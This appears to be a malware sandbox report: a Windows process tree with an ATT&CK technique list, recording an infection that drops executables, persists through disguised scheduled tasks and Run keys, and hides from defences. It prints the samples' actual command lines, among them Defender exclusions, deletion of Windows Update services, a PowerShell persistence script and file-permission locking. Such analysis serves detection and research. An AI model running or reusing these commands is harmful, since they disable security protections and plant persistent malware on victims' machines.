  C:\Users\Admin\AppData\Local\Temp\CDD6.exe
  2⤵
  - Executes dropped EXE
  PID:3884
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\Uieiuateoq.dll,start
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Checks processor information in registry
    PID:3760
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:3308
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:1396
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:3696
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:4532
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      Modifies registry class
      Suspicious use of FindShellTrayWindow
      PID:3180
  - - C:\Windows\system32\rundll32.exe
      "C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 19257
      4⤵
      PID:3708
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3884 -s 412
    3⤵
    - Program crash
    PID:1768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1992
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:1764
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3708
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:5052
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1548
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3436
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1888
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4992
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:5024
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:208
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:1504
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2808
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:5008
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4108
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1332
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3812
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3124
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:376
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3756
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3940
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:552
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4528
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:396
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:3256
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:388
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4652
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3788
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:8
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3144
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1392
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2548
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:3512
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:4912
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:3980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:3804
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:5108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4408
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4308
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4256
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1804
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3136
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:936
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4800
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4380
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3512
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:1188
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:5088
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:684
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3744
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3140
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3084
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2032
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  - Modifies data under HKEY_USERS
  PID:3632
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe zuhwtyqtfkk
  2⤵
  PID:3488
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    PID:2072
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  PID:2328
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    PID:3340
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe ozascextlcafxrlv 6E3sjfZq2rJQaxvLPmXgsH8HqLgRgcx0/LVDxBdghhCp2+hEkY7tykSHwITYgOlci3ytMC8bvXFdgLfubt31d00EGUNZvUBUebLdyQcn06lc9XyK+SQQg4bEvwPCdT2KYoSnyaznjkuq+t/WEmnCxetIZsxpO3p/zzwJI2q0v1rwbWjqgzbDndc3ETa3aKYf8EOpU9uqIUcKKIP5glSGIF5NNBIQIOxiwAszeRmTD+ssM2JwNB+ZJXRJvy123U7UEXSTx71FLoxpDYVaIMhOE++Mr3hazCz1q4t4s5o8+wL0kdpUV5VnrG7JmlnWotU5n89qBghGm+y6SMYnw4GovlYYIKPio/EJCBO4ISkMSM9oXvdK2xwDd7nOPHNI0ub2+9+yDpmbkJhXPRjLmh8EzH9no+cA8XXsDqc7l4Il6Q8HZCkxxQKp3X7QrvGtORgpsiUFRUsjuuqKF8OZDBQ643uz5XTg02QKOJfFPdU0JLRX+q6NZJdak+3EYZdI36Zgtv5L8IJAttmNYCJqIJTseVMH04bRJ5WBnXqRYehi2MM0O1YRQDI8kKVhBta2xSurnVpcEWelFYwmZuF8Vd3YhHb8yAOoY//KgjosTtbU5Co=
  2⤵
  PID:1320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 372 -p 3760 -ip 3760
1⤵
PID:3744

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:R" /E
1⤵
PID:5092

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:N"
1⤵
PID:3580

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
1⤵
PID:1444

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
1⤵
PID:3736

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
1⤵
PID:3648

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
1⤵
PID:1436

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
1⤵
PID:3836

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
1⤵
- Creates scheduled task(s)
PID:2424

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
1⤵
- Creates scheduled task(s)
PID:4964

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3884 -ip 3884
1⤵
- Executes dropped EXE
PID:4452

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:1440

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
PID:540

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
- Executes dropped EXE
PID:3912

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:3472
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:5020

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 524 -p 3068 -ip 3068
1⤵
PID:2640

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery